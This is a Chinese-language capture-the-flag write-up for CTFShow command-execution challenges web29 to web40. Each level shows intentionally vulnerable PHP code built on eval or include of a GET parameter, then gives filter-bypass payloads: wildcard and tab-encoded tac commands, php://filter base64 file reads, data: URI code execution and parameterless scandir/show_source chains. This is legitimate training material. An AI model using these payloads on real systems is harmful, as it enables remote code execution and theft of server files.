CTFShow命令执行

web29

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

首先查看下flag的目录

flag被禁掉了，用通配符*

web30

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

本关system被禁用了，用echo代替

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?c=echo `tac *`;

查看flag，用通配符代替*被禁用的flag

web31

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
1
?c=echo%09`tac%09*`;

空格被过滤了，%20编码没绕过去，用%09拼接 ps:语句中：%09 ， <(用于拼接命令，比如nl<fl??.php) ， ‘’ ，$IFS

tac fla*还有个空格，继续用%09绕过

web32

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了echo和system，空格，`反引号统统过滤了。不过还有新姿势，利用include函数(还有require也可以)

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?c=include$_POST[a]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php

然后再base64解码拿到flag

web33

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了双引号，继续使用上一题payload

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?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

base64解码出啦flag

web34

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤一个:号，还是可以使用上一题的payload

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?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤一个<号和一个=号，不过没有影响，继续使用前面的payload

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?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次增加过滤数字，但还是没有影响，继续使用前面payload

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?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

题里边有include语句了然后也过滤了flag，利用伪协议data方法绕过

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?c=data:text/plain,<?=system("tac fla*");?>

web38

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里过滤了php和file，继续使用data短标签，还是上边的payload

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?c=data:text/plain,<?=system("tac fla*");?>

web39

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这次减少了过滤，但是会再后面加上.php的后缀，然而我们前面的payload结尾是有一个?>进行了标签闭合，所以?>.php没有影响，继续使用前面payload

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?c=data:text/plain,<?=system("tac fla*");?>

web40

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<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这次过滤了一些符号，这里回到eval语句执行命令，但过滤了许多东西，没有过滤掉英文的()，那我们使用无参数的rce进行构造读取文件

print_r(scandir(‘.’)); 查看当前目录下的所有文件名

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

current() 函数返回数组中的当前元素（单元）,默认取第一个值，pos是current的别名

先打印出当前目录下的文件

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?c=print_r(scandir(current(localeconv())));

读取目录文件后，发现输出的是数组，而文件名是数组中的值，下一步我们需要取出想要读取文件的数组

each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组

科普完成，观察到flag.php在倒数第二位，开始构造

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?c=show_source(next(array_reverse(scandir(getcwd()))));